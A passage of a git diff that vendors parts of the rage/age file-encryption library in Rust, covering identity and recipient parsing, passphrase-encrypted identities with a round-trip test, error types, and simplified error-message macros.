_max_work_factor, + ) + .is_ok() + { + // Re-parse while taking ownership of the reader. This will always succeed + // because the age ciphertext header size is less than the underlying buffer + // size, but the manual reset here ensures this fails gracefully if for + // whatever reason the underlying buffer size changes unexpectedly. + reader.reset()?; + let identity = crate::encrypted::Identity::from_buffer( + ArmoredReader::new_buffered(reader.inner), + Some(filename.clone()), + UiCallbacks, + _max_work_factor, + ) + .expect("already parsed the age ciphertext header"); + + encrypted_identity( + ctx, + identity.ok_or(ReadError::IdentityEncryptedWithoutPassphrase(filename))?, + )?; + continue; + } + + #[cfg(feature = "armor")] + reader.reset()?; + + // Try parsing as a single multi-line SSH identity. + #[cfg(feature = "ssh")] + match crate::ssh::Identity::from_buffer(&mut reader, Some(filename.clone())) { + Ok(crate::ssh::Identity::Unsupported(k)) => { + return Err(ReadError::UnsupportedKey(filename, k).into()) + } + Ok(identity) => { + ssh_identity(ctx, &filename, identity)?; + continue; + } + Err(_) => (), + } + + #[cfg(feature = "ssh")] + reader.reset()?; + + // Try parsing as multiple single-line age identities. + identity_file( + ctx, + IdentityFile::from_buffer(reader)?.with_callbacks(UiCallbacks), + )?; + } + + Ok(()) +} + +/// Same as default buffer size for `BufReader`, but hard-coded so we know exactly what +/// the buffer size is, and therefore can detect if the entire file fits into a single +/// buffer. +/// +/// This must be at least 71 bytes to ensure the correct behaviour of +/// `PeekableReader::fill_buf`. See the comments in that method. +const PEEKABLE_SIZE: usize = 8 * 1024; + +enum PeekState { + Peeking { consumed: usize }, + Reading, +} + +struct PeekableReader { + inner: BufReader, + state: PeekState, +} + +impl PeekableReader { + fn new(inner: R) -> Self { + Self { + inner: BufReader::with_capacity(PEEKABLE_SIZE, inner), + state: PeekState::Peeking { consumed: 0 }, + } + } + + #[cfg(any(feature = "armor", feature = "ssh"))] + fn reset(&mut self) -> io::Result<()> { + match &mut self.state { + PeekState::Peeking { consumed } => { + *consumed = 0; + Ok(()) + } + PeekState::Reading => Err(io::Error::new( + io::ErrorKind::InvalidInput, + "Tried to reset after the underlying buffer was exceeded.", + )), + } + } +} + +impl io::Read for PeekableReader { + fn read(&mut self, buf: &mut [u8]) -> io::Result { + match self.state { + PeekState::Peeking { .. } => { + // Perform a read that will never exceed the size of the inner buffer. + use std::io::BufRead; + let nread = { + let mut rem = self.fill_buf()?; + rem.read(buf)? + }; + self.consume(nread); + Ok(nread) + } + PeekState::Reading => self.inner.read(buf), + } + } +} + +impl io::BufRead for PeekableReader { + fn fill_buf(&mut self) -> io::Result<&[u8]> { + match self.state { + PeekState::Peeking { consumed } => { + let inner_len = self.inner.fill_buf()?.len(); + if inner_len == 0 { + // This state only occurs when the underlying data source is empty. + // Don't fall through to change the state to `Reading`, because we can + // always reset an empty stream. + assert_eq!(consumed, 0); + Ok(&[]) + } else if consumed < inner_len { + // Re-call so we aren't extending the lifetime of the mutable borrow + // on `self.inner` to outside the conditional, which would prevent us + // from performing other mutable operations on the other side. + Ok(&self.inner.fill_buf()?[consumed..]) + } else if inner_len < PEEKABLE_SIZE { + // We have read the entire file into a single buffer and consumed all + // of it. Don't fall through to change the state to `Reading`, because + // we can always reset a single-buffer stream. + // + // Note that we cannot distinguish between the file being the exact + // same size as our buffer, and the file being larger than it. But + // this only becomes relevant if we cannot distinguish between the + // kinds of identity files we support parsing, within a single buffer. + // We should always be able to distinguish before then, because we + // parse in the following order: + // + // - Encrypted identities, which are parsed incrementally as age + // ciphertexts with optional armor, and can be detected in at most + // 70 bytes. + // - SSH identities, which are parsed as a PEM encoding and can be + // detected in at most 36 bytes. + // - Identity files, which have one identity per line and therefore + // can have arbitrarily long lines. We intentionally try this format + // last. + assert_eq!(consumed, inner_len); + Ok(&[]) + } else { + // We're done peeking. + self.inner.consume(consumed); + self.state = PeekState::Reading; + self.inner.fill_buf() + } + } + PeekState::Reading => self.inner.fill_buf(), + } + } + + fn consume(&mut self, amt: usize) { + match &mut self.state { + PeekState::Peeking { consumed, .. } => *consumed += amt, + PeekState::Reading => self.inner.consume(amt), + } + } +} diff --git a/lib/rage/age/src/cli_common/recipients.rs b/lib/rage/age/src/cli_common/recipients.rs new file mode 100644 index 0000000..913a832 --- /dev/null +++ b/lib/rage/age/src/cli_common/recipients.rs @@ -0,0 +1,206 @@ +use std::io::{self, BufReader}; + +use super::StdinGuard; +use super::{identities::parse_identity_files, ReadError}; +use crate::identity::RecipientsAccumulator; +use crate::{x25519, Recipient}; + +#[cfg(feature = "plugin")] +use crate::{cli_common::UiCallbacks, plugin}; + +#[cfg(not(feature = "plugin"))] +use std::convert::Infallible; + +#[cfg(feature = "ssh")] +use crate::ssh; + +#[cfg(any(feature = "armor", feature = "plugin"))] +use crate::EncryptError; + +/// Handles error mapping for the given SSH recipient parser. +/// +/// Returns `Ok(None)` if the parser finds a parseable value that should be ignored. This +/// case is for handling SSH recipient types that may occur in files we want to be able to +/// parse, but that we do not directly support. +#[cfg(feature = "ssh")] +fn parse_ssh_recipient( + parser: F, + invalid: G, + filename: &str, +) -> Result>, ReadError> +where + F: FnOnce() -> Result, + G: FnOnce() -> Result>, ReadError>, +{ + use ssh::{ParseRecipientKeyError, UnsupportedKey}; + + match parser() { + Ok(pk) => Ok(Some(Box::new(pk))), + Err(e) => match e { + ParseRecipientKeyError::Ignore => Ok(None), + ParseRecipientKeyError::Invalid(_) => invalid(), + ParseRecipientKeyError::RsaModulusTooLarge => Err(ReadError::RsaModulusTooLarge), + ParseRecipientKeyError::RsaModulusTooSmall => Err(ReadError::RsaModulusTooSmall), + ParseRecipientKeyError::Unsupported(key_type) => Err(ReadError::UnsupportedKey( + filename.to_string(), + UnsupportedKey::from_key_type(key_type), + )), + }, + } +} + +/// Parses a recipient from a string. +fn parse_recipient( + _filename: &str, + s: String, + recipients: &mut RecipientsAccumulator, +) -> Result<(), ReadError> { + if let Ok(pk) = s.parse::() { + recipients.push(Box::new(pk)); + } else if let Some(pk) = { + #[cfg(feature = "ssh")] + { + parse_ssh_recipient(|| s.parse::(), || Ok(None), _filename)? + } + + #[cfg(not(feature = "ssh"))] + None + } { + recipients.push(pk); + } else if let Some(_recipient) = { + #[cfg(feature = "plugin")] + { + // TODO Do something with the error? + s.parse::().ok() + } + + #[cfg(not(feature = "plugin"))] + None:: + } { + #[cfg(feature = "plugin")] + recipients.push_plugin(_recipient); + } else { + return Err(ReadError::InvalidRecipient(s)); + } + + Ok(()) +} + +/// Reads file contents as a list of recipients +fn read_recipients_list( + filename: &str, + buf: R, + recipients: &mut RecipientsAccumulator, +) -> Result<(), ReadError> { + for (line_number, line) in buf.lines().enumerate() { + let line = line?; + + // Skip empty lines and comments + if line.is_empty() || line.find('#') == Some(0) { + continue; + } else if let Err(_e) = parse_recipient(filename, line, recipients) { + #[cfg(feature = "ssh")] + match _e { + ReadError::RsaModulusTooLarge + | ReadError::RsaModulusTooSmall + | ReadError::UnsupportedKey(_, _) => { + return Err(io::Error::new(io::ErrorKind::InvalidData, _e.to_string()).into()); + } + _ => (), + } + + // Return a line number in place of the line, so we don't leak the file + // contents in error messages. + return Err(ReadError::InvalidRecipientsFile { + filename: filename.to_owned(), + line_number: line_number + 1, + }); + } + } + + Ok(()) +} + +/// Reads recipients from the provided arguments. +/// +/// `recipients_file_strings` and `identity_strings` may collectively contain at most one +/// entry of `"-"`, which will be interpreted as reading from standard input. An error +/// will be returned if `stdin_guard` is guarding an existing usage of standard input. +pub fn read_recipients( + recipient_strings: Vec, + recipients_file_strings: Vec, + identity_strings: Vec, + max_work_factor: Option, + stdin_guard: &mut StdinGuard, +) -> Result>, ReadError> { + let mut recipients = RecipientsAccumulator::new(); + + for arg in recipient_strings { + parse_recipient("", arg, &mut recipients)?; + } + + for arg in recipients_file_strings { + let f = stdin_guard.open(arg.clone()).map_err(|e| match e { + ReadError::Io(e) if matches!(e.kind(), io::ErrorKind::NotFound) => { + ReadError::MissingRecipientsFile(arg.clone()) + } + _ => e, + })?; + let buf = BufReader::new(f); + read_recipients_list(&arg, buf, &mut recipients)?; + } + + parse_identity_files::<_, ReadError>( + identity_strings, + max_work_factor, + stdin_guard, + &mut recipients, + #[cfg(feature = "armor")] + |recipients, identity| { + recipients.extend(identity.recipients().map_err(|e| { + // Only one error can occur here. + if let EncryptError::EncryptedIdentities(e) = e { + ReadError::EncryptedIdentities(e) + } else { + unreachable!() + } + })?); + Ok(()) + }, + #[cfg(feature = "ssh")] + |recipients, filename, identity| { + let recipient = parse_ssh_recipient( + || ssh::Recipient::try_from(identity), + || Err(ReadError::InvalidRecipient(filename.to_owned())), + filename, + )? + .expect("unsupported identities were already handled"); + recipients.push(recipient); + Ok(()) + }, + |recipients, identity_file| { + recipients.with_identities(identity_file); + Ok(()) + }, + )?; + + recipients + .build( + #[cfg(feature = "plugin")] + UiCallbacks, + ) + .map_err(|_e| { + // Only one error can occur here. + #[cfg(feature = "plugin")] + { + if let EncryptError::MissingPlugin { binary_name } = _e { + ReadError::MissingPlugin { binary_name } + } else { + unreachable!() + } + } + + #[cfg(not(feature = "plugin"))] + unreachable!() + }) +} diff --git a/lib/rage/age/src/encrypted.rs b/lib/rage/age/src/encrypted.rs new file mode 100644 index 0000000..4570a2b --- /dev/null +++ b/lib/rage/age/src/encrypted.rs @@ -0,0 +1,291 @@ +//! The "encrypted age identity file" identity type. + +use std::{cell::Cell, io}; + +use crate::{fl, scrypt, Callbacks, DecryptError, Decryptor, EncryptError, IdentityFile}; + +/// The state of the encrypted age identity. +enum IdentityState { + Encrypted { + decryptor: Decryptor, + max_work_factor: Option, + callbacks: C, + }, + Decrypted(IdentityFile), + + /// The file was not correctly encrypted, or did not contain age identities. We cache + /// this error in case the caller tries to use this identity again. The `Option` is to + /// enable implementing `Default` so we can use `Cell::take`, but we don't ever allow + /// the `None` case to persist. + Poisoned(Option), +} + +impl Default for IdentityState { + fn default() -> Self { + Self::Poisoned(None) + } +} + +impl IdentityState { + /// Decrypts this encrypted identity if necessary. + /// + /// Returns the (possibly cached) identities, and a boolean marking if the identities + /// were not cached (and we just asked the user for a passphrase). + fn decrypt(self, filename: Option<&str>) -> Result<(IdentityFile, bool), DecryptError> { + match self { + Self::Encrypted { + decryptor, + max_work_factor, + callbacks, + } => { + let passphrase = match callbacks.request_passphrase(&fl!( + "encrypted-passphrase-prompt", + filename = filename.unwrap_or_default() + )) { + Some(passphrase) => passphrase, + None => todo!(), + }; + + let mut identity = scrypt::Identity::new(passphrase); + if let Some(max_work_factor) = max_work_factor { + identity.set_max_work_factor(max_work_factor); + } + + decryptor + .decrypt(Some(&identity as _).into_iter()) + .map_err(|e| { + if matches!(e, DecryptError::DecryptionFailed) { + DecryptError::KeyDecryptionFailed + } else { + e + } + }) + .and_then(|stream| { + let file = IdentityFile::from_buffer(io::BufReader::new(stream))? + .with_callbacks(callbacks); + Ok((file, true)) + }) + } + Self::Decrypted(identity_file) => Ok((identity_file, false)), + // `IdentityState::decrypt` is only ever called with `Some`. + Self::Poisoned(e) => Err(e.unwrap()), + } + } +} + +/// An encrypted age identity file. +pub struct Identity { + state: Cell>, + filename: Option, +} + +impl Identity { + /// Parses an encrypted identity from an input containing valid UTF-8. + /// + /// `filename` is the path to the file that the input is reading from, if any. + /// + /// Returns `Ok(None)` if the input contains an age ciphertext that is not encrypted + /// to a passphrase. + pub fn from_buffer( + data: R, + filename: Option, + callbacks: C, + max_work_factor: Option, + ) -> Result, DecryptError> { + let decryptor = Decryptor::new(data)?; + Ok(decryptor.is_scrypt().then_some(Identity { + state: Cell::new(IdentityState::Encrypted { + decryptor, + max_work_factor, + callbacks, + }), + filename, + })) + } + + /// Returns the recipients contained within this encrypted identity. + /// + /// If this encrypted identity has not been decrypted yet, calling this method will + /// trigger a passphrase request. + pub fn recipients(&self) -> Result>, EncryptError> { + match self.state.take().decrypt(self.filename.as_deref()) { + Ok((identity_file, _)) => { + let recipients = identity_file.to_recipients(); + self.state.set(IdentityState::Decrypted(identity_file)); + recipients + } + Err(e) => { + self.state.set(IdentityState::Poisoned(Some(e.clone()))); + Err(EncryptError::EncryptedIdentities(e)) + } + } + } + + /// Attempts to unwrap stanzas with the identities contained within this encrypted + /// identity. + /// + /// We don't want to ask the user for the passphrase on every stanza decryption, and + /// we don't want to store the entire encrypted age identity file in memory. Instead, + /// the first time that an encrypted identity is decrypted with, we ask the caller for + /// the passphrase, and perform validity checks on the decrypted data. We then cache + /// the decrypted identities for subsequent calls. + /// + /// Because the `age::Identity` trait requires immutable references, this means that + /// we need to use interior mutability here. + fn unwrap_stanzas_base( + &self, + filter: F, + ) -> Option> + where + F: Fn( + Result, DecryptError>, + ) -> Option>, + { + match self.state.take().decrypt(self.filename.as_deref()) { + Ok((identity_file, requested_passphrase)) => { + let result = identity_file.to_identities().find_map(filter); + + // If we requested a passphrase to decrypt, and none of the identities + // matched, warn the user. + if requested_passphrase && result.is_none() { + identity_file.callbacks.display_message(&fl!( + "encrypted-warn-no-match", + filename = self.filename.as_deref().unwrap_or_default() + )); + } + + self.state.set(IdentityState::Decrypted(identity_file)); + result + } + Err(e) => { + self.state.set(IdentityState::Poisoned(Some(e.clone()))); + Some(Err(e)) + } + } + } +} + +impl crate::Identity for Identity { + fn unwrap_stanza( + &self, + stanza: &age_core::format::Stanza, + ) -> Option> { + self.unwrap_stanzas_base(|identity| match identity { + Ok(i) => i.unwrap_stanza(stanza), + Err(e) => Some(Err(e)), + }) + } + + fn unwrap_stanzas( + &self, + stanzas: &[age_core::format::Stanza], + ) -> Option> { + self.unwrap_stanzas_base(|identity| match identity { + Ok(i) => i.unwrap_stanzas(stanzas), + Err(e) => Some(Err(e)), + }) + } +} + +#[cfg(test)] +mod tests { + use std::sync::{Arc, Mutex}; + + use age_core::secrecy::{ExposeSecret, SecretString}; + + use super::Identity; + use crate::{x25519, Callbacks, DecryptError, Identity as _, Recipient as _}; + + #[cfg(feature = "armor")] + use crate::armor::ArmoredReader; + + const TEST_ENCRYPTED_IDENTITY_PASSPHRASE: &str = "foobar"; + + const TEST_ENCRYPTED_IDENTITY: &str = "-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IHNjcnlwdCBza2I4R0t6L2NLT2s4cGlI +TTRGRjFRIDEwCnVodTdORmZjcCtjRmdnYU54bm8rZEJ5NWlrVHZLY1hyRzZEN2JE +ZVpwWnMKLS0tIEZTcDlSL3oyRC9NQ3JZa3ZvUzNaNlk4bnhBSUdJRTFrMmE4QzMr +UVNETlkK34fdtpwZz+qQaGuirGHEdodVe4JvnSG3ANQpWhkDcsRzoe/+OuHXNdnv +zhBhaKdthstzGXbd2yJbLrTH1A3YbWO+/3zTIZENzKU9XbibLLQ4M/TXwKMzoObY +oiMf5/+8GiQVREtHmm24wsc/479cVwnGVTdH7DL+wANmyf6S9Vc2FYQmXjLDxsJ0 +LMF6Cpgcg09C2gg4pcb4TFUWmDuxnZrfggrptOtyzC8O8aRuKPZqCGnzoWNOWl86 +fOrxrKTj7xCdNS3+OrCdnBC8Z9cKDxjCGWW3fkjLsYha0Jo= +-----END AGE ENCRYPTED FILE----- +"; + + const TEST_RECIPIENT: &str = "age1ysxuaeqlk7xd8uqsh8lsnfwt9jzzjlqf49ruhpjrrj5yatlcuf7qke4pqe"; + + #[derive(Clone)] + struct MockCallbacks(Arc>>); + + impl MockCallbacks { + fn new(passphrase: &'static str) -> Self { + MockCallbacks(Arc::new(Mutex::new(Some(passphrase)))) + } + } + + impl Callbacks for MockCallbacks { + fn display_message(&self, _: &str) { + unimplemented!() + } + + fn confirm(&self, _: &str, _: &str, _: Option<&str>) -> Option { + unimplemented!() + } + + fn request_public_string(&self, _: &str) -> Option { + unimplemented!() + } + + /// This intentionally panics if called twice. + fn request_passphrase(&self, _: &str) -> Option { + Some(SecretString::from( + self.0.lock().unwrap().take().unwrap().to_owned(), + )) + } + } + + #[test] + #[cfg(feature = "armor")] + fn round_trip() { + use age_core::format::FileKey; + + let pk: x25519::Recipient = TEST_RECIPIENT.parse().unwrap(); + let file_key = FileKey::new(Box::new([12; 16])); + let (wrapped, labels) = pk.wrap_file_key(&file_key).unwrap(); + assert!(labels.is_empty()); + + // Unwrapping with the wrong passphrase fails. + { + let buf = ArmoredReader::new(TEST_ENCRYPTED_IDENTITY.as_bytes()); + let identity = + Identity::from_buffer(buf, None, MockCallbacks::new("wrong passphrase"), None) + .unwrap() + .unwrap(); + + if let Err(e) = identity.unwrap_stanzas(&wrapped).unwrap() { + assert!(matches!(e, DecryptError::KeyDecryptionFailed)); + } else { + panic!("Should have failed"); + } + } + + let buf = ArmoredReader::new(TEST_ENCRYPTED_IDENTITY.as_bytes()); + let identity = Identity::from_buffer( + buf, + None, + MockCallbacks::new(TEST_ENCRYPTED_IDENTITY_PASSPHRASE), + None, + ) + .unwrap() + .unwrap(); + let unwrapped = identity.unwrap_stanzas(&wrapped); + assert_eq!( + unwrapped.unwrap().unwrap().expose_secret(), + file_key.expose_secret() + ); + + // Unwrapping a second time doesn't re-decrypt. + identity.unwrap_stanzas(&wrapped); + } +} diff --git a/lib/rage/age/src/error.rs b/lib/rage/age/src/error.rs new file mode 100644 index 0000000..5505d4d --- /dev/null +++ b/lib/rage/age/src/error.rs @@ -0,0 +1,449 @@ +//! Error type. + +use std::collections::HashSet; +use std::fmt; +use std::io; + +use crate::{wfl, wlnfl}; + +#[cfg(feature = "plugin")] +use age_core::format::Stanza; + +/// Errors returned when converting an identity file to a recipients file. +#[derive(Debug)] +pub enum IdentityFileConvertError { + /// An I/O error occurred while writing out a recipient corresponding to an identity + /// in this file. + FailedToWriteOutput(io::Error), + /// The identity file contains a plugin identity, which can be converted to a + /// recipient for encryption purposes, but not for writing a recipients file. + #[cfg(feature = "plugin")] + #[cfg_attr(docsrs, doc(cfg(feature = "plugin")))] + IdentityFileContainsPlugin { + /// The given identity file. + filename: Option, + /// The name of the plugin. + plugin_name: String, + }, + /// The identity file contains no identities, and thus cannot be used to produce a + /// recipients file. + NoIdentities { + /// The given identity file. + filename: Option, + }, +} + +impl fmt::Display for IdentityFileConvertError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + IdentityFileConvertError::FailedToWriteOutput(e) => { + wfl!(f, "err-failed-to-write-output", err = e.to_string()) + } + #[cfg(feature = "plugin")] + IdentityFileConvertError::IdentityFileContainsPlugin { + filename, + plugin_name, + } => { + wlnfl!( + f, + "err-identity-file-contains-plugin", + filename = filename.as_deref().unwrap_or_default(), + plugin_name = plugin_name.as_str(), + )?; + wfl!( + f, + "rec-identity-file-contains-plugin", + plugin_name = plugin_name.as_str(), + ) + } + IdentityFileConvertError::NoIdentities { filename } => match filename { + Some(filename) => { + wfl!(f, "err-no-identities-in-file", filename = filename.as_str()) + } + None => wfl!(f, "err-no-identities-in-stdin"), + }, + } + } +} + +impl std::error::Error for IdentityFileConvertError { + fn source(&self) -> Option<&(dyn std::error::Error + 'static)> { + match self { + IdentityFileConvertError::FailedToWriteOutput(e) => Some(e), + _ => None, + } + } +} + +/// Errors returned by a plugin. +#[cfg(feature = "plugin")] +#[cfg_attr(docsrs, doc(cfg(feature = "plugin")))] +#[derive(Clone, Debug)] +pub enum PluginError { + /// An error caused by a specific identity. + Identity { + /// The plugin's binary name. + binary_name: String, + /// The error message. + message: String, + }, + /// An error caused by a specific recipient. + Recipient { + /// The plugin's binary name. + binary_name: String, + /// The recipient. + recipient: String, + /// The error message. + message: String, + }, + /// Some other error we don't know about. + Other { + /// The error kind. + kind: String, + /// Any metadata associated with the error. + metadata: Vec, + /// The error message. + message: String, + }, +} + +#[cfg(feature = "plugin")] +impl From for PluginError { + fn from(mut s: Stanza) -> Self { + assert!(s.tag == "error"); + let kind = s.args.remove(0); + PluginError::Other { + kind, + metadata: s.args, + message: String::from_utf8_lossy(&s.body).to_string(), + } + } +} + +#[cfg(feature = "plugin")] +impl fmt::Display for PluginError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + PluginError::Identity { + binary_name, + message, + } => wfl!( + f, + "err-plugin-identity", + plugin_name = binary_name.as_str(), + message = message.as_str(), + ), + PluginError::Recipient { + binary_name, + recipient, + message, + } => wfl!( + f, + "err-plugin-recipient", + plugin_name = binary_name.as_str(), + recipient = recipient.as_str(), + message = message.as_str(), + ), + PluginError::Other { + kind, + metadata, + message, + } => { + write!(f, "({}", kind)?; + for d in metadata { + write!(f, " {}", d)?; + } + write!(f, ")")?; + if !message.is_empty() { + write!(f, " {}", message)?; + } + Ok(()) + } + } + } +} + +/// The various errors that can be returned during the encryption process. +#[derive(Debug)] +pub enum EncryptError { + /// An error occured while decrypting passphrase-encrypted identities. + EncryptedIdentities(DecryptError), + /// The encryptor was given recipients that declare themselves incompatible. + IncompatibleRecipients { + /// The set of labels from the first recipient provided to the encryptor. + l_labels: HashSet, + /// The set of labels from the first non-matching recipient. + r_labels: HashSet, + }, + /// One or more of the labels from the first recipient provided to the encryptor are + /// invalid. + /// + /// Labels must be valid age "arbitrary string"s (`1*VCHAR` in ABNF). + InvalidRecipientLabels(HashSet), + /// An I/O error occurred during encryption. + Io(io::Error), + /// A required plugin could not be found. + #[cfg(feature = "plugin")] + #[cfg_attr(docsrs, doc(cfg(feature = "plugin")))] + MissingPlugin { + /// The plugin's binary name. + binary_name: String, + }, + /// The encryptor was not given any recipients. + MissingRecipients, + /// [`scrypt::Recipient`] was mixed with other recipient types. + /// + /// [`scrypt::Recipient`]: crate::scrypt::Recipient + MixedRecipientAndPassphrase, + /// Errors from a plugin. + #[cfg(feature = "plugin")] + #[cfg_attr(docsrs, doc(cfg(feature = "plugin")))] + Plugin(Vec), +} + +impl From for EncryptError { + fn from(e: io::Error) -> Self { + EncryptError::Io(e) + } +} + +impl Clone for EncryptError { + fn clone(&self) -> Self { + match self { + Self::EncryptedIdentities(e) => Self::EncryptedIdentities(e.clone()), + Self::IncompatibleRecipients { l_labels, r_labels } => Self::IncompatibleRecipients { + l_labels: l_labels.clone(), + r_labels: r_labels.clone(), + }, + Self::InvalidRecipientLabels(labels) => Self::InvalidRecipientLabels(labels.clone()), + Self::Io(e) => Self::Io(io::Error::new(e.kind(), e.to_string())), + #[cfg(feature = "plugin")] + Self::MissingPlugin { binary_name } => Self::MissingPlugin { + binary_name: binary_name.clone(), + }, + Self::MissingRecipients => Self::MissingRecipients, + Self::MixedRecipientAndPassphrase => Self::MixedRecipientAndPassphrase, + #[cfg(feature = "plugin")] + Self::Plugin(e) => Self::Plugin(e.clone()), + } + } +} + +fn print_labels(labels: &HashSet) -> String { + let mut s = String::new(); + for (i, label) in labels.iter().enumerate() { + s.push_str(label); + if i != 0 { + s.push_str(", "); + } + } + s +} + +impl fmt::Display for EncryptError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + EncryptError::EncryptedIdentities(e) => e.fmt(f), + EncryptError::IncompatibleRecipients { l_labels, r_labels } => { + match (l_labels.is_empty(), r_labels.is_empty()) { + (true, true) => unreachable!("labels are compatible"), + (false, true) => { + wfl!( + f, + "err-incompatible-recipients-oneway", + labels = print_labels(l_labels), + ) + } + (true, false) => { + wfl!( + f, + "err-incompatible-recipients-oneway", + labels = print_labels(r_labels), + ) + } + (false, false) => wfl!( + f, + "err-incompatible-recipients-twoway", + left = print_labels(l_labels), + right = print_labels(r_labels), + ), + } + } + EncryptError::InvalidRecipientLabels(labels) => wfl!( + f, + "err-invalid-recipient-labels", + labels = print_labels(labels), + ), + EncryptError::Io(e) => e.fmt(f), + #[cfg(feature = "plugin")] + EncryptError::MissingPlugin { binary_name } => { + wlnfl!(f, "err-missing-plugin", plugin_name = binary_name.as_str())?; + wfl!(f, "rec-missing-plugin") + } + EncryptError::MissingRecipients => wfl!(f, "err-missing-recipients"), + EncryptError::MixedRecipientAndPassphrase => { + wfl!(f, "err-mixed-recipient-passphrase") + } + #[cfg(feature = "plugin")] + EncryptError::Plugin(errors) => match &errors[..] { + [] => unreachable!(), + [e] => write!(f, "{}", e), + _ => { + wlnfl!(f, "err-plugin-multiple")?; + for e in errors { + writeln!(f, "- {}", e)?; + } + Ok(()) + } + }, + } + } +} + +impl std::error::Error for EncryptError { + fn source(&self) -> Option<&(dyn std::error::Error + 'static)> { + match self { + EncryptError::EncryptedIdentities(inner) => Some(inner), + EncryptError::Io(inner) => Some(inner), + _ => None, + } + } +} + +/// The various errors that can be returned during the decryption process. +#[derive(Debug)] +pub enum DecryptError { + /// The age file failed to decrypt. + DecryptionFailed, + /// The age file used an excessive work factor for passphrase encryption. + ExcessiveWork { + /// The work factor required to decrypt. + required: u8, + /// The target work factor for this device (around 1 second of work). + target: u8, + }, + /// The age header was invalid. + InvalidHeader, + /// The MAC in the age header was invalid. + InvalidMac, + /// An I/O error occurred during decryption. + Io(io::Error), + /// Failed to decrypt an encrypted key. + KeyDecryptionFailed, + /// A required plugin could not be found. + #[cfg(feature = "plugin")] + #[cfg_attr(docsrs, doc(cfg(feature = "plugin")))] + MissingPlugin { + /// The plugin's binary name. + binary_name: String, + }, + /// None of the provided keys could be used to decrypt the age file. + NoMatchingKeys, + /// Errors from a plugin. + #[cfg(feature = "plugin")] + #[cfg_attr(docsrs, doc(cfg(feature = "plugin")))] + Plugin(Vec), + /// An unknown age format, probably from a newer version. + UnknownFormat, +} + +impl Clone for DecryptError { + fn clone(&self) -> Self { + match self { + Self::DecryptionFailed => Self::DecryptionFailed, + Self::ExcessiveWork { required, target } => Self::ExcessiveWork { + required: *required, + target: *target, + }, + Self::InvalidHeader => Self::InvalidHeader, + Self::InvalidMac => Self::InvalidMac, + Self::Io(e) => Self::Io(io::Error::new(e.kind(), e.to_string())), + Self::KeyDecryptionFailed => Self::KeyDecryptionFailed, + #[cfg(feature = "plugin")] + Self::MissingPlugin { binary_name } => Self::MissingPlugin { + binary_name: binary_name.clone(), + }, + Self::NoMatchingKeys => Self::NoMatchingKeys, + #[cfg(feature = "plugin")] + Self::Plugin(e) => Self::Plugin(e.clone()), + Self::UnknownFormat => Self::UnknownFormat, + } + } +} + +impl fmt::Display for DecryptError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + DecryptError::DecryptionFailed => wfl!(f, "err-decryption-failed"), + DecryptError::ExcessiveWork { required, target } => { + wlnfl!(f, "err-excessive-work")?; + wfl!( + f, + "rec-excessive-work", + duration = (1 << (required - target)), + ) + } + DecryptError::InvalidHeader => wfl!(f, "err-header-invalid"), + DecryptError::InvalidMac => wfl!(f, "err-header-mac-invalid"), + DecryptError::Io(e) => e.fmt(f), + DecryptError::KeyDecryptionFailed => wfl!(f, "err-key-decryption"), + #[cfg(feature = "plugin")] + DecryptError::MissingPlugin { binary_name } => { + wlnfl!(f, "err-missing-plugin", plugin_name = binary_name.as_str())?; + wfl!(f, "rec-missing-plugin") + } + DecryptError::NoMatchingKeys => wfl!(f, "err-no-matching-keys"), + #[cfg(feature = "plugin")] + DecryptError::Plugin(errors) => match &errors[..] { + [] => unreachable!(), + [e] => write!(f, "{}", e), + _ => { + wlnfl!(f, "err-plugin-multiple")?; + for e in errors { + writeln!(f, "- {}", e)?; + } + Ok(()) + } + }, + DecryptError::UnknownFormat => { + wlnfl!(f, "err-unknown-format")?; + wfl!(f, "rec-unknown-format") + } + } + } +} + +impl From for DecryptError { + fn from(_: chacha20poly1305::aead::Error) -> Self { + DecryptError::DecryptionFailed + } +} + +impl From for DecryptError { + fn from(e: io::Error) -> Self { + DecryptError::Io(e) + } +} + +impl From for DecryptError { + fn from(_: hmac::digest::MacError) -> Self { + DecryptError::InvalidMac + } +} + +#[cfg(feature = "ssh")] +#[cfg_attr(docsrs, doc(cfg(feature = "ssh")))] +impl From for DecryptError { + fn from(_: rsa::errors::Error) -> Self { + DecryptError::DecryptionFailed + } +} + +impl std::error::Error for DecryptError { + fn source(&self) -> Option<&(dyn std::error::Error + 'static)> { + match self { + DecryptError::Io(inner) => Some(inner), + _ => None, + } + } +} diff --git a/lib/rage/age/src/error_fmt.rs b/lib/rage/age/src/error_fmt.rs new file mode 100644 index 0000000..6278064 --- /dev/null +++ b/lib/rage/age/src/error_fmt.rs @@ -0,0 +1,170 @@ +//! Error formatting macros for age crate - simplified i18n-compatible implementation + +/// Loads a localized age string (simplified version without i18n). +#[doc(hidden)] +#[macro_export] +macro_rules! fl { + ($message_id:literal) => {{ + $crate::error_fmt::get_message($message_id) + }}; + + ($message_id:literal, $($name:ident = $value:expr),* $(,)?) => {{ + $crate::error_fmt::get_message_with_named_args($message_id, &[$((stringify!($name), &$value.to_string())),*]) + }}; +} + +/// age-localized version of the write! macro. +#[doc(hidden)] +#[macro_export] +macro_rules! wfl { + ($f:ident, $message_id:literal) => { + write!($f, "{}", $crate::fl!($message_id)) + }; + + ($f:ident, $message_id:literal, $($name:ident = $value:expr),* $(,)?) => { + write!($f, "{}", $crate::fl!($message_id, $($name = $value),*)) + }; +} + +/// age-localized version of the writeln! macro. +#[doc(hidden)] +#[macro_export] +macro_rules! wlnfl { + ($f:ident, $message_id:literal) => { + writeln!($f, "{}", $crate::fl!($message_id)) + }; + + ($f:ident, $message_id:literal, $($name:ident = $value:expr),* $(,)?) => { + writeln!($f, "{}", $crate::fl!($message_id, $($name = $value),*)) + }; +} + +/// Get a localized message by ID (simplified version without i18n). +#[doc(hidden)] +pub fn get_message(message_id: &str) -> String { + match message_id { + "err-failed-to-write-output" => format!("Failed to write output: {}", "{err}"), + "err-no-identities-in-stdin" => "No identities found in standard input".to_string(), + "err-no-identities-in-file" => format!("No identities found in file: {}", "{filename}"), + "err-plugin-multiple" => "Multiple plugin errors occurred:".to_string(), + "err-decryption-failed" => "Failed to decrypt file".to_string(), + "err-header-invalid" => "Invalid header".to_string(), + 